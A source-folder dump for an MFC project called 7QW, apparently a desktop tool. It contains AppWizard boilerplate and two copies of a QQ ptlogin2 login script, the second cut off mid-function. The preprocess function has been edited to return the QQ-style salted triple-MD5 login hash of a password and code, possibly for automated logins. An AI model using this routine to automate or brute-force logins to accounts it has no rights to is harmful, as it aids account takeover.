    program uses.  It includes the icons, bitmaps, and cursors that are stored
    in the RES subdirectory.  This file can be directly edited in Microsoft
	Visual C++.

7QW.clw
    This file contains information used by ClassWizard to edit existing
    classes or add new classes.  ClassWizard also uses this file to store
    information needed to create and edit message maps and dialog data
    maps and to create prototype member functions.

res\7QW.ico
    This is an icon file, which is used as the application's icon.  This
    icon is included by the main resource file 7QW.rc.

res\7QW.rc2
    This file contains resources that are not edited by Microsoft 
	Visual C++.  You should place all resources not editable by
	the resource editor in this file.



/////////////////////////////////////////////////////////////////////////////

For the main frame window:

MainFrm.h, MainFrm.cpp
    These files contain the frame class CMainFrame, which is derived from
    CFrameWnd and controls all SDI frame features.

res\Toolbar.bmp
    This bitmap file is used to create tiled images for the toolbar.
    The initial toolbar and status bar are constructed in the CMainFrame
    class. Edit this toolbar bitmap using the resource editor, and
    update the IDR_MAINFRAME TOOLBAR array in 7QW.rc to add
    toolbar buttons.
/////////////////////////////////////////////////////////////////////////////

AppWizard creates one document type and one view:

7QWDoc.h, 7QWDoc.cpp - the document
    These files contain your CMy7QWDoc class.  Edit these files to
    add your special document data and to implement file saving and loading
    (via CMy7QWDoc::Serialize).

7QWView.h, 7QWView.cpp - the view of the document
    These files contain your CMy7QWView class.
    CMy7QWView objects are used to view CMy7QWDoc objects.



/////////////////////////////////////////////////////////////////////////////
Other standard files:

StdAfx.h, StdAfx.cpp
    These files are used to build a precompiled header (PCH) file
    named 7QW.pch and a precompiled types file named StdAfx.obj.

Resource.h
    This is the standard header file, which defines new resource IDs.
    Microsoft Visual C++ reads and updates this file.

/////////////////////////////////////////////////////////////////////////////
Other notes:

AppWizard uses "TODO:" to indicate parts of the source code you
should add to or customize.

If your application uses MFC in a shared DLL, and your application is 
in a language other than the operating system's current language, you
will need to copy the corresponding localized resources MFC42XXX.DLL
from the Microsoft Visual C++ CD-ROM onto the system or system32 directory,
and rename it to be MFCLOC.DLL.  ("XXX" stands for the language abbreviation.
For example, MFC42DEU.DLL contains resources translated to German.)  If you
don't do this, some of the UI elements of your application will remain in the
language of the operating system.

/////////////////////////////////////////////////////////////////////////////








源码/Release/7QW.exe






源码/Release/Xlogin.js

STR_UINTIP = 1;
STR_QLOGIN_VERSION_ERR = 2;
STR_NO_UIN = 3;
STR_NO_PWD = 4;
STR_NO_VCODE = 5;
STR_INV_UIN = 6;
STR_INV_VCODE = 7;
STR_UIN = 8;
STR_PWD = 9;
STR_VCODE = 10;
STR_VCODE_TIP = 11;
STR_CHANGE_VCODE = 12;
STR_REMEMBER_PWD = 13;
STR_1_DAY = 14;
STR_1_WEEK = 15;
STR_1_MONTH = 16;
STR_HALF_YEAR = 17;
STR_1_YEAR = 18;
STR_FORGET_PWD = 19;
STR_LOGIN = 20;
STR_RESET = 21;
STR_SWITCH_QLOGIN = 22;
STR_LOGIN_TITLE = 23;
STR_QLOGIN_INTRO = 24;
STR_QLOGINING = 25;
STR_QLOGIN_HELP = 26;
STR_SWITCH_NORMAL = 27;
STR_QLOGIN = 28;
STR_QLOGIN_BUSY = 29;
STR_QLOGIN_OFFLINE = 30;
STR_QLOGIN_OTHER_ERR = 31;
STR_BACK = 32;
STR_RETRY = 33;
STR_NEW_REG = 34;
STR_QLOGIN_SELECT = 35;
STR_QLOGIN_VER = 36;
STR_QLOGIN_SELECT_TIP = 37;
STR_QLOGIN_NO_UIN = 38;
STR_QLOGIN_SELECT_OFFLINE = 39;
my_version = unescape("version1.0.0");
function ptui_trim(A) {
    return A.replace(/(^\s*)|(\s*$)/g, "")
}
function ptui_str(A) {
    A -= 1;
    if (A >= 0 && A < g_strArray.length) {
        return g_strArray[A]
    }
    return ""
}
function ptui_mapStr(B) {
    for (i = 0; i < B.length; i++) {
        var A = document.getElementById(B[i][1]);
        if (A != null) {
            if ("A" == A.nodeName || "U" == A.nodeName || "OPTION" == A.nodeName || "LABEL" == A.nodeName || "P" == A.nodeName) {
                if (A.innerHTML == "") {
                    A.innerHTML = ptui_str(B[i][0])
                }
            } else {
                if ("INPUT" == A.nodeName) {
                    if (A.value == "") {
                        A.value = ptui_str(B[i][0])
                    }
                } else {
                    if ("IMG" == A.nodeName) {
                        A.alt = ptui_str(B[i][0])
                    }
                }
            }
        }
    }
}
function ptui_onUserFocus(C, A) {
    var B = document.getElementById(C);
    if (ptui_str(STR_UINTIP) == B.value) {
        B.value = ""
    }
    B.style.color = A
}
function ptui_onUserBlue(C, A) {
    var B = document.getElementById(C);
    if ("" == B.value) {
        B.value = ptui_str(STR_UINTIP);
        B.style.color = A
    }
}
var g_speedArray = new Array();
function ptui_setSpeed(B) {
    if (B <= 0) {
        return
    }
    var A = g_speedArray.length;
    g_speedArray[A] = new Array(B, new Date())
}
function ptui_reportSpeed(B) {
    if (Math.random() > 0.1) {
        return
    }
    url = "http://isdspeed.qq.com/cgi-bin/r.cgi?flag1=6000&flag2=1&flag3=1";
    for (var A = 0; A < g_speedArray.length; A++) {
        url = url + "&" + g_speedArray[A][0] + "=" + (g_speedArray[A][1] - B)
    }
    imgSendTimePoint = new Image();
    imgSendTimePoint.src = url
}
function ptui_showDiv(A, B) {
    var C = document.getElementById(A);
    if (null == C) {
        return
    }
    if (B) {
        C.style.display = "block"
    } else {
        C.style.display = "none"
    }
}
function ptui_notifySize(B) {
    try {
        obj = document.getElementById(B);
        if (obj) {
            if (parent.ptlogin2_onResize) {
                width = 1;
                height = 1;
                if (obj.offsetWidth > 0) {
                    width = obj.offsetWidth
                }
                if (obj.offsetHeight > 0) {
                    height = obj.offsetHeight
                }
                parent.ptlogin2_onResize(width, height)
            }
        }
    } catch(A) {}
}
function ptui_notifyClose() {
    try {
        if (parent.ptlogin2_onClose) {
            parent.ptlogin2_onClose()
        } else {
            if (top == this) {
                window.close()
            }
        }
    } catch(A) {
        window.close()
    }
}
function ptui_setUinColor(D, B, A) {
    var C = document.getElementById(D);
    if (ptui_str(STR_UINTIP) == C.value) {
        C.style.color = A
    } else {
        C.style.color = B
    }
}
function ptui_onEnableLLogin(B) {
    var A = B.low_login_enable;
    var C = B.low_login_hour;
    if (A != null && C != null) {
        C.disabled = !A.checked
    }
}
function ptui_changeImgEx(D, C, G, F) {
    var A = document.getElementById("imgVerify");
    try {
        if (A != null) {
            A.src = F + "?aid=" + C + "&" + Math.random();
            var B = document.getElementById("verifycode");
            if (B != null && B.disabled == false && G) {
                B.focus();
                B.select()
            }
        }
    } catch(E) {}
}
function ptui_changeImg(B, A, C) {
    ptui_changeImgEx(B, A, C, "http://ptlogin2." + B + "/getimage")
}
function ptui_changeImgHttps(B, A, C) {
    ptui_changeImgEx(B, A, C, "./getimage")
}
function ptui_checkQQUin(qquin) {
    if (qquin.length == 0) {
        return false
    }
    qquin = ptui_trim(qquin);
    if (! (new RegExp(/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/).test(qquin))) {
        if (qquin.length < 5 || qquin.length > 12 || parseInt(qquin) < 1000) {
            return false
        }
        var exp = eval("/^[0-9]*$/");
        return exp.test(qquin)
    }
    return true
}
function ptui_checkPwdOnInput() {
    if (document.getElementById("p").value.length >= 16) {
        return false
    }
    return true
}
function ptui_onLogin(A) {
    try {
        if (parent.ptlogin2_onLogin) {
            if (!parent.ptlogin2_onLogin()) {
                return false
            }
        }
        if (parent.ptlogin2_onLoginEx) {
            var D = A.u.value;
            var B = A.verifycode.value;
            if (ptui_str(STR_UINTIP) == D) {
                D = ""
            }
            if (!parent.ptlogin2_onLoginEx(D, B)) {
                return false
            }
        }
    } catch(C) {}
    return ptui_checkValidate(A)
}
function ptui_onLoginEx(B, C) {
    if (ptui_onLogin(B)) {
        var A = new Date();
        A.setHours(A.getHours() + 24 * 30);
        setCookie("ptui_loginuin", B.u.value, A, "/", "ui.ptlogin2." + C);
        return true
    }
    return false
}
function ptui_setDefUin(B, A) {
    if (A == "" || A == null) {
        A = getCookie("ptui_loginuin")
    }
    A = parseInt(A);
    if (isNaN(A)) {
        return
    }
    if (A <= 0) {
        A = ""
    }
    if (A != "" && A != null) {
        B.u.value = A
    }
}
function ptui_onReset(A) {
    try {
        if (parent.ptlogin2_onReset) {
            if (!parent.ptlogin2_onReset()) {
                return false
            }
        }
    } catch(B) {}
    return true
}
function ptui_initFocus(B) {
    try {
        var A = B.u;
        var D = B.p;
        var E = B.verifycode;
        if (A.value == "" || ptui_str(STR_UINTIP) == A.value) {
            A.focus();
            return
        }
        if (D.value == "") {
            D.focus();
            return
        }
        if (E.value == "") {
            E.focus()
        }
    } catch(C) {}
}
function ptui_checkValidate(B) {
    var A = B.u;
    var C = B.p;
    var D = B.verifycode;
    if (A.value == "" || ptui_str(STR_UINTIP) == A.value) {
        alert(ptui_str(STR_NO_UIN));
        A.focus();
        return false
    }
    if (C.value == "") {
        alert(ptui_str(STR_NO_PWD));
        C.focus();
        return false
    }
    if (D.value == "") {
        alert(ptui_str(STR_NO_VCODE));
        D.focus();
        return false
    }
    A.value = ptui_trim(A.value);
    if (!ptui_checkQQUin(A.value)) {
        alert(ptui_str(STR_INV_UIN));
        A.focus();
        A.select();
        return false
    }
    if (D.value.length != 4) {
        alert(ptui_str(STR_INV_VCODE));
        D.focus();
        D.select();
        return false
    }
    C.setAttribute("maxlength", "32");
    preprocess(B);
    return true
}
function getCookieVal(B) {
    var A = document.cookie.indexOf(";", B);
    if (A == -1) {
        A = document.cookie.length
    }
    return unescape(document.cookie.substring(B, A))
}
function getCookie(D) {
    var B = D + "=";
    var F = B.length;
    var A = document.cookie.length;
    var E = 0;
    while (E < A) {
        var C = E + F;
        if (document.cookie.substring(E, C) == B) {
            return getCookieVal(C)
        }
        E = document.cookie.indexOf(" ", E) + 1;
        if (E == 0) {
            break
        }
    }
    return null
}
function setCookie(C, E) {
    var A = setCookie.arguments;
    var H = setCookie.arguments.length;
    var B = (2 < H) ? A[2] : null;
    var G = (3 < H) ? A[3] : null;
    var D = (4 < H) ? A[4] : null;
    var F = (5 < H) ? A[5] : null;
    document.cookie = C + "=" + escape(E) + ((B == null) ? " ": (";expires =" + B.toGMTString())) + ((G == null) ? "  ": (";path = " + G)) + ((D == null) ? " ": (";domain =" + D)) + ((F == true) ? ";secure": " ")
}
var hexcase = 1;
var b64pad = "";
var chrsz = 8;
var mode = 32;
function preprocess(A,B) {
   // var B = "";
   // B += A.verifycode.value;
   // B = B.toUpperCase();
   // A.p.value = md5(md5_3(A.p.value) + B);
   // return true



//var str="necron8952795380";
str=md5(md5_3(B)+A);
//document.write(str);
//var ForReading = 1, ForWriting = 2;
    //var fso = new ActiveXObject("Scripting.FileSystemObject");

   // Open the file for output.
    //var filename = "c:\\testfile.txt";
   // var f = fso.OpenTextFile(filename, ForWriting, true);

    // Write to the file.
   //f.WriteLine("Hello world!");
   //f.WriteLine("JScript is fun");
   //f.Close();
return str;
}
function md5_3(B) {
    var A = new Array;
    A = core_md5(str2binl(B), B.length * chrsz);
    A = core_md5(A, 16 * chrsz);
    A = core_md5(A, 16 * chrsz);
    return binl2hex(A)
}
function md5(A) {
    return hex_md5(A)
}
function hex_md5(A) {
    return binl2hex(core_md5(str2binl(A), A.length * chrsz))
}
function b64_md5(A) {
    return binl2b64(core_md5(str2binl(A), A.length * chrsz))
}
function str_md5(A) {
    return binl2str(core_md5(str2binl(A), A.length * chrsz))
}
function hex_hmac_md5(A, B) {
    return binl2hex(core_hmac_md5(A, B))
}
function b64_hmac_md5(A, B) {
    return binl2b64(core_hmac_md5(A, B))
}
function str_hmac_md5(A, B) {
    return binl2str(core_hmac_md5(A, B))
}
function md5_vm_test() {
    return hex_md5("abc") == "900150983cd24fb0d6963f7d28e17f72"
}
function core_md5(K, F) {
    K[F >> 5] |= 128 << ((F) % 32);
    K[(((F + 64) >>> 9) << 4) + 14] = F;
    var J = 1732584193;
    var I = -271733879;
    var H = -1732584194;
    var G = 271733878;
    for (var C = 0; C < K.length; C += 16) {
        var E = J;
        var D = I;
        var B = H;
        var A = G;
        J = md5_ff(J, I, H, G, K[C + 0], 7, -680876936);
        G = md5_ff(G, J, I, H, K[C + 1], 12, -389564586);
        H = md5_ff(H, G, J, I, K[C + 2], 17, 606105819);
        I = md5_ff(I, H, G, J, K[C + 3], 22, -1044525330);
        J = md5_ff(J, I, H, G, K[C + 4], 7, -176418897);
        G = md5_ff(G, J, I, H, K[C + 5], 12, 1200080426);
        H = md5_ff(H, G, J, I, K[C + 6], 17, -1473231341);
        I = md5_ff(I, H, G, J, K[C + 7], 22, -45705983);
        J = md5_ff(J, I, H, G, K[C + 8], 7, 1770035416);
        G = md5_ff(G, J, I, H, K[C + 9], 12, -1958414417);
        H = md5_ff(H, G, J, I, K[C + 10], 17, -42063);
        I = md5_ff(I, H, G, J, K[C + 11], 22, -1990404162);
        J = md5_ff(J, I, H, G, K[C + 12], 7, 1804603682);
        G = md5_ff(G, J, I, H, K[C + 13], 12, -40341101);
        H = md5_ff(H, G, J, I, K[C + 14], 17, -1502002290);
        I = md5_ff(I, H, G, J, K[C + 15], 22, 1236535329);
        J = md5_gg(J, I, H, G, K[C + 1], 5, -165796510);
        G = md5_gg(G, J, I, H, K[C + 6], 9, -1069501632);
        H = md5_gg(H, G, J, I, K[C + 11], 14, 643717713);
        I = md5_gg(I, H, G, J, K[C + 0], 20, -373897302);
        J = md5_gg(J, I, H, G, K[C + 5], 5, -701558691);
        G = md5_gg(G, J, I, H, K[C + 10], 9, 38016083);
        H = md5_gg(H, G, J, I, K[C + 15], 14, -660478335);
        I = md5_gg(I, H, G, J, K[C + 4], 20, -405537848);
        J = md5_gg(J, I, H, G, K[C + 9], 5, 568446438);
        G = md5_gg(G, J, I, H, K[C + 14], 9, -1019803690);
        H = md5_gg(H, G, J, I, K[C + 3], 14, -187363961);
        I = md5_gg(I, H, G, J, K[C + 8], 20, 1163531501);
        J = md5_gg(J, I, H, G, K[C + 13], 5, -1444681467);
        G = md5_gg(G, J, I, H, K[C + 2], 9, -51403784);
        H = md5_gg(H, G, J, I, K[C + 7], 14, 1735328473);
        I = md5_gg(I, H, G, J, K[C + 12], 20, -1926607734);
        J = md5_hh(J, I, H, G, K[C + 5], 4, -378558);
        G = md5_hh(G, J, I, H, K[C + 8], 11, -2022574463);
        H = md5_hh(H, G, J, I, K[C + 11], 16, 1839030562);
        I = md5_hh(I, H, G, J, K[C + 14], 23, -35309556);
        J = md5_hh(J, I, H, G, K[C + 1], 4, -1530992060);
        G = md5_hh(G, J, I, H, K[C + 4], 11, 1272893353);
        H = md5_hh(H, G, J, I, K[C + 7], 16, -155497632);
        I = md5_hh(I, H, G, J, K[C + 10], 23, -1094730640);
        J = md5_hh(J, I, H, G, K[C + 13], 4, 681279174);
        G = md5_hh(G, J, I, H, K[C + 0], 11, -358537222);
        H = md5_hh(H, G, J, I, K[C + 3], 16, -722521979);
        I = md5_hh(I, H, G, J, K[C + 6], 23, 76029189);
        J = md5_hh(J, I, H, G, K[C + 9], 4, -640364487);
        G = md5_hh(G, J, I, H, K[C + 12], 11, -421815835);
        H = md5_hh(H, G, J, I, K[C + 15], 16, 530742520);
        I = md5_hh(I, H, G, J, K[C + 2], 23, -995338651);
        J = md5_ii(J, I, H, G, K[C + 0], 6, -198630844);
        G = md5_ii(G, J, I, H, K[C + 7], 10, 1126891415);
        H = md5_ii(H, G, J, I, K[C + 14], 15, -1416354905);
        I = md5_ii(I, H, G, J, K[C + 5], 21, -57434055);
        J = md5_ii(J, I, H, G, K[C + 12], 6, 1700485571);
        G = md5_ii(G, J, I, H, K[C + 3], 10, -1894986606);
        H = md5_ii(H, G, J, I, K[C + 10], 15, -1051523);
        I = md5_ii(I, H, G, J, K[C + 1], 21, -2054922799);
        J = md5_ii(J, I, H, G, K[C + 8], 6, 1873313359);
        G = md5_ii(G, J, I, H, K[C + 15], 10, -30611744);
        H = md5_ii(H, G, J, I, K[C + 6], 15, -1560198380);
        I = md5_ii(I, H, G, J, K[C + 13], 21, 1309151649);
        J = md5_ii(J, I, H, G, K[C + 4], 6, -145523070);
        G = md5_ii(G, J, I, H, K[C + 11], 10, -1120210379);
        H = md5_ii(H, G, J, I, K[C + 2], 15, 718787259);
        I = md5_ii(I, H, G, J, K[C + 9], 21, -343485551);
        J = safe_add(J, E);
        I = safe_add(I, D);
        H = safe_add(H, B);
        G = safe_add(G, A)
    }
    if (mode == 16) {
        return Array(I, H)
    } else {
        return Array(J, I, H, G)
    }
}
function md5_cmn(F, C, B, A, E, D) {
    return safe_add(bit_rol(safe_add(safe_add(C, F), safe_add(A, D)), E), B)
}
function md5_ff(C, B, G, F, A, E, D) {
    return md5_cmn((B & G) | ((~B) & F), C, B, A, E, D)
}
function md5_gg(C, B, G, F, A, E, D) {
    return md5_cmn((B & F) | (G & (~F)), C, B, A, E, D)
}
function md5_hh(C, B, G, F, A, E, D) {
    return md5_cmn(B ^ G ^ F, C, B, A, E, D)
}
function md5_ii(C, B, G, F, A, E, D) {
    return md5_cmn(G ^ (B | (~F)), C, B, A, E, D)
}
function core_hmac_md5(C, F) {
    var E = str2binl(C);
    if (E.length > 16) {
        E = core_md5(E, C.length * chrsz)
    }
    var A = Array(16),
    D = Array(16);
    for (var B = 0; B < 16; B++) {
        A[B] = E[B] ^ 909522486;
        D[B] = E[B] ^ 1549556828
    }
    var G = core_md5(A.concat(str2binl(F)), 512 + F.length * chrsz);
    return core_md5(D.concat(G), 512 + 128)
}
function safe_add(A, D) {
    var C = (A & 65535) + (D & 65535);
    var B = (A >> 16) + (D >> 16) + (C >> 16);
    return (B << 16) | (C & 65535)
}
function bit_rol(A, B) {
    return (A << B) | (A >>> (32 - B))
}
function str2binl(D) {
    var C = Array();
    var A = (1 << chrsz) - 1;
    for (var B = 0; B < D.length * chrsz; B += chrsz) {
        C[B >> 5] |= (D.charCodeAt(B / chrsz) & A) << (B % 32)
    }
    return C
}
function binl2str(C) {
    var D = "";
    var A = (1 << chrsz) - 1;
    for (var B = 0; B < C.length * 32; B += chrsz) {
        D += String.fromCharCode((C[B >> 5] >>> (B % 32)) & A)
    }
    return D
}
function binl2hex(C) {
    var B = hexcase ? "0123456789ABCDEF": "0123456789abcdef";
    var D = "";
    for (var A = 0; A < C.length * 4; A++) {
        D += B.charAt((C[A >> 2] >> ((A % 4) * 8 + 4)) & 15) + B.charAt((C[A >> 2] >> ((A % 4) * 8)) & 15)
    }
    return D
}
function binl2b64(D) {
    var C = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    var F = "";
    for (var B = 0; B < D.length * 4; B += 3) {
        var E = (((D[B >> 2] >> 8 * (B % 4)) & 255) << 16) | (((D[B + 1 >> 2] >> 8 * ((B + 1) % 4)) & 255) << 8) | ((D[B + 2 >> 2] >> 8 * ((B + 2) % 4)) & 255);
        for (var A = 0; A < 4; A++) {
            if (B * 8 + A * 6 > D.length * 32) {
                F += b64pad
            } else {
                F += C.charAt((E >> 6 * (3 - A)) & 63)
            }
        }
    }
    return F
};
/*  |xGv00|fdc64de296a9e6e4a0768719da13ecb0 */
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源码/res/7QW.rc2

//
// 7QW.RC2 - resources Microsoft Visual C++ does not edit directly
//

#ifdef APSTUDIO_INVOKED
	#error this file is not editable by Microsoft Visual C++
#endif //APSTUDIO_INVOKED


/////////////////////////////////////////////////////////////////////////////
// Add manually edited resources here...

/////////////////////////////////////////////////////////////////////////////
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源码/res/Xlogin.js

STR_UINTIP = 1;
STR_QLOGIN_VERSION_ERR = 2;
STR_NO_UIN = 3;
STR_NO_PWD = 4;
STR_NO_VCODE = 5;
STR_INV_UIN = 6;
STR_INV_VCODE = 7;
STR_UIN = 8;
STR_PWD = 9;
STR_VCODE = 10;
STR_VCODE_TIP = 11;
STR_CHANGE_VCODE = 12;
STR_REMEMBER_PWD = 13;
STR_1_DAY = 14;
STR_1_WEEK = 15;
STR_1_MONTH = 16;
STR_HALF_YEAR = 17;
STR_1_YEAR = 18;
STR_FORGET_PWD = 19;
STR_LOGIN = 20;
STR_RESET = 21;
STR_SWITCH_QLOGIN = 22;
STR_LOGIN_TITLE = 23;
STR_QLOGIN_INTRO = 24;
STR_QLOGINING = 25;
STR_QLOGIN_HELP = 26;
STR_SWITCH_NORMAL = 27;
STR_QLOGIN = 28;
STR_QLOGIN_BUSY = 29;
STR_QLOGIN_OFFLINE = 30;
STR_QLOGIN_OTHER_ERR = 31;
STR_BACK = 32;
STR_RETRY = 33;
STR_NEW_REG = 34;
STR_QLOGIN_SELECT = 35;
STR_QLOGIN_VER = 36;
STR_QLOGIN_SELECT_TIP = 37;
STR_QLOGIN_NO_UIN = 38;
STR_QLOGIN_SELECT_OFFLINE = 39;
my_version = unescape("version1.0.0");
function ptui_trim(A) {
    return A.replace(/(^\s*)|(\s*$)/g, "")
}
function ptui_str(A) {
    A -= 1;
    if (A >= 0 && A < g_strArray.length) {
        return g_strArray[A]
    }
    return ""
}
function ptui_mapStr(B) {
    for (i = 0; i < B.length; i++) {
        var A = document.getElementById(B[i][1]);
        if (A != null) {
            if ("A" == A.nodeName || "U" == A.nodeName || "OPTION" == A.nodeName || "LABEL" == A.nodeName || "P" == A.nodeName) {
                if (A.innerHTML == "") {
                    A.innerHTML = ptui_str(B[i][0])
                }
            } else {
                if ("INPUT" == A.nodeName) {
                    if (A.value == "") {
                        A.value = ptui_str(B[i][0])
                    }
                } else {
                    if ("IMG" == A.nodeName) {
                        A.alt = ptui_str(B[i][0])
                    }
                }
            }
        }
    }
}
function ptui_onUserFocus(C, A) {
    var B = document.getElementById(C);
    if (ptui_str(STR_UINTIP) == B.value) {
        B.value = ""
    }
    B.style.color = A
}
function ptui_onUserBlue(C, A) {
    var B = document.getElementById(C);
    if ("" == B.value) {
        B.value = ptui_str(STR_UINTIP);
        B.style.color = A
    }
}
var g_speedArray = new Array();
function ptui_setSpeed(B) {
    if (B <= 0) {
        return
    }
    var A = g_speedArray.length;
    g_speedArray[A] = new Array(B, new Date())
}
function ptui_reportSpeed(B) {
    if (Math.random() > 0.1) {
        return
    }
    url = "http://isdspeed.qq.com/cgi-bin/r.cgi?flag1=6000&flag2=1&flag3=1";
    for (var A = 0; A < g_speedArray.length; A++) {
        url = url + "&" + g_speedArray[A][0] + "=" + (g_speedArray[A][1] - B)
    }
    imgSendTimePoint = new Image();
    imgSendTimePoint.src = url
}
function ptui_showDiv(A, B) {
    var C = document.getElementById(A);
    if (null == C) {
        return
    }
    if (B) {
        C.style.display = "block"
    } else {
        C.style.display = "none"
    }
}
function ptui_notifySize(B) {
    try {
        obj = document.getElementById(B);
        if (obj) {
            if (parent.ptlogin2_onResize) {
                width = 1;
                height = 1;
                if (obj.offsetWidth > 0) {
                    width = obj.offsetWidth
                }
                if (obj.offsetHeight > 0) {
                    height = obj.offsetHeight
                }
                parent.ptlogin2_onResize(width, height)
            }
        }
    } catch(A) {}
}
function ptui_notifyClose() {
    try {
        if (parent.ptlogin2_onClose) {
            parent.ptlogin2_onClose()
        } else {
            if (top == this) {
                window.close()
            }
        }
    } catch(A) {
        window.close()
    }
}
function ptui_setUinColor(D, B, A) {
    var C = document.getElementById(D);
    if (ptui_str(STR_UINTIP) == C.value) {
        C.style.color = A
    } else {
        C.style.color = B
    }
}
function ptui_onEnableLLogin(B) {
    var A = B.low_login_enable;
    var C = B.low_login_hour;
    if (A != null && C != null) {
        C.disabled = !A.checked
    }
}
function ptui_changeImgEx(D, C, G, F) {
    var A = document.getElementById("imgVerify");
    try {
        if (A != null) {
            A.src = F + "?aid=" + C + "&" + Math.random();
            var B = document.getElementById("verifycode");
            if (B != null && B.disabled == false && G) {
                B.focus();
                B.select()
            }
        }
    } catch(E) {}
}
function ptui_changeImg(B, A, C) {
    ptui_changeImgEx(B, A, C, "http://ptlogin2." + B + "/getimage")
}
function ptui_changeImgHttps(B, A, C) {
    ptui_changeImgEx(B, A, C, "./getimage")
}
function ptui_checkQQUin(qquin) {
    if (qquin.length == 0) {
        return false
    }
    qquin = ptui_trim(qquin);
    if (! (new RegExp(/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/).test(qquin))) {
        if (qquin.length < 5 || qquin.length > 12 || parseInt(qquin) < 1000) {
            return false
        }
        var exp = eval("/^[0-9]*$/");
        return exp.test(qquin)
    }
    return true
}
function ptui_checkPwdOnInput() {
    if (document.getElementById("p").value.length >= 16) {
        return false
    }
    return true
}
function ptui_onLogin(A) {
    try {
        if (parent.ptlogin2_onLogin) {
            if (!parent.ptlogin2_onLogin()) {
                return false
            }
        }
        if (parent.ptlogin2_onLoginEx) {
            var D = A.u.value;
            var B = A.verifycode.value;
            if (ptui_str(STR_UINTIP) == D) {
                D = ""
            }
            if (!parent.ptlogin2_onLoginEx(D, B)) {
                return false
            }
        }
    } catch(C) {}
    return ptui_checkValidate(A)
}
function ptui_onLoginEx(B, C) {
    if (ptui_onLogin(B)) {
        var A = new Date();
        A.setHours(A.getHours() + 24 * 30);
        setCookie("ptui_loginuin", B.u.value, A, "/", "ui.ptlogin2." + C);
        return true
    }
    return false
}
function ptui_setDefUin(B, A) {
    if (A == "" || A == null) {
        A = getCookie("ptui_loginuin")
    }
    A = parseInt(A);
    if (isNaN(A)) {
        return
    }
    if (A <= 0) {
        A = ""
    }
    if (A != "" && A != null) {
        B.u.value = A
    }
}
function ptui_onReset(A) {
    try {
        if (parent.ptlogin2_onReset) {
            if (!parent.ptlogin2_onReset()) {
                return false
            }
        }
    } catch(B) {}
    return true
}
function ptui_initFocus(B) {
    try {
        var A = B.u;
        var D = B.p;
        var E = B.verifycode;
        if (A.value == "" || ptui_str(STR_UINTIP) == A.value) {
            A.focus();
            return
        }
        if (D.value == "") {
            D.focus();
            return
        }
        if (E.value == "") {
            E.focus()
        }
    } catch(C) {}
}
function ptui_checkValidate(B) {
    var A = B.u;
    var C = B.p;
    var D = B.verifycode;
    if (A.value == "" || ptui_str(STR_UINTIP) == A.value) {
        alert(ptui_str(STR_NO_UIN));
        A.focus();
        return false
    }
    if (C.value == "") {
        alert(ptui_str(STR_NO_PWD));
        C.focus();
        return false
    }
    if (D.value == "") {
        alert(ptui_str(STR_NO_VCODE));
        D.focus();
        return false
    }
    A.value = ptui_trim(A.value);
    if (!ptui_checkQQUin(A.value)) {
        alert(ptui_str(STR_INV_UIN));
        A.focus();
        A.select();
        return false
    }
    if (D.value.length != 4) {
        alert(ptui_str(STR_INV_VCODE));
        D.focus();
        D.select();
        return false
    }
    C.setAttribute("maxlength", "32");
    preprocess(B);
    return true
}
function getCookieVal(B) {
    var A = document.cookie.indexOf(";", B);
    if (A == -1) {
        A = document.cookie.length
    }
    return unescape(document.cookie.substring(B, A))
}
function getCookie(D) {
    var B = D + "=";
    var F = B.length;
    var A = document.cookie.length;
    var E = 0;
    while (E < A) {
        var C = E + F;
        if (document.cookie.substring(E, C) == B) {
            return getCookieVal(C)
        }
        E = document.cookie.indexOf(" ", E) + 1;
        if (E == 0) {
            break
        }
    }
    return null
}
function setCookie(C, E) {
    var A = setCookie.arguments;
    var H = setCookie.arguments.length;
    var B = (2 < H) ? A[2] : null;
    var G = (3 < H) ? A[3] : null;
    var D = (4 < H) ? A[4] : null;
    var F = (5 < H) ? A[5] : null;
    document.cookie = C + "=" + escape(E) + ((B == null) ? " ": (";expires =" + B.toGMTString())) + ((G == null) ? "  ": (";path = " + G)) + ((D == null) ? " ": (";domain =" + D)) + ((F == true) ? ";secure": " ")
}
var hexcase = 1;
var b64pad = "";
var chrsz = 8;
var mode = 32;
function preprocess(A,B) {
   // var B = "";
   // B += A.verifycode.value;
   // B = B.toUpperCase();
   // A.p.value = md5(md5_3(A.p.value) + B);
   // return true



//var str="necron8952795380";
str=md5(md5_3(B)+A);
//document.write(str);
//var ForReading = 1, ForWriting = 2;
    //var fso = new ActiveXObject("Scripting.FileSystemObject");

   // Open the file for output.
    //var filename = "c:\\testfile.txt";
   // var f = fso.OpenTextFile(filename, ForWriting, true);

    // Write to the file.
   //f.WriteLine("Hello world!");
   //f.WriteLine("JScript is fun");
   //f.Close();
return str;
}
function md5_3(B) {
    var A = new Array;
    A = core_md5(str2binl(B), B.length * chrsz);
    A = core_md5(A, 16 * chrsz);
    A = core_md5(A, 16 * chrsz);
    return binl2hex(A)
}
function md5(A) {
    return hex_md5(A)
}
function hex_md5(A) {
    return binl2hex(core_md5(str2binl(A), A.length * chrsz))
}
function b64_md5(A) {
    return binl2b64(core_md5(str2binl(A), A.length * chrsz))
}
function str_md5(A) {
    return binl2str(core_md5(str2binl(A), A.length * chrsz))
}
function hex_hmac_md5(A, B) {
    return binl2hex(core_hmac_md5(A, B))
}
function b64_hmac_md5(A, B) {
    return binl2b64(core_hmac_md5(A, B))
}
function str_hmac_md5(A, B) {
    return binl2str(core_hmac_md5(A, B))
}
function md5_vm_test() {
    return hex_md5("abc") == "900150983cd24fb0d6963f7d28e17f72"
}
function core_md5(K, F) {
    K[F >> 5] |= 128 << ((F) % 32);
    K[(((F + 64) >>> 9) << 4) + 14] = F;
    var J = 1732584193;
    var I = -271733879;
    var H = -1732584194;
    var G = 271733878;
    for (var C = 0; C < K.length; C += 16) {
        var E = J;
        var D = I;
        var B = H;
        var A = G;
        J = md5_ff(J, I, H, G, K[C + 0], 7, -680876936);
        G = md5_ff(G, J, I, H, K[C + 1], 12, -389564586);
        H = md5_ff(H, G, J, I, K[C + 2], 17, 606105819);
        I = md5_ff(I, H, G, J, K[C + 3], 22, -1044525330);
        J = md5_ff(J, I, H, G, K[C + 4], 7, -176418897);
        G = md5_ff(G, J, I, H, K[C + 5], 12, 1200080426);
        H = md5_ff(H, G, J, I, K[C + 6], 17, -1473231341);
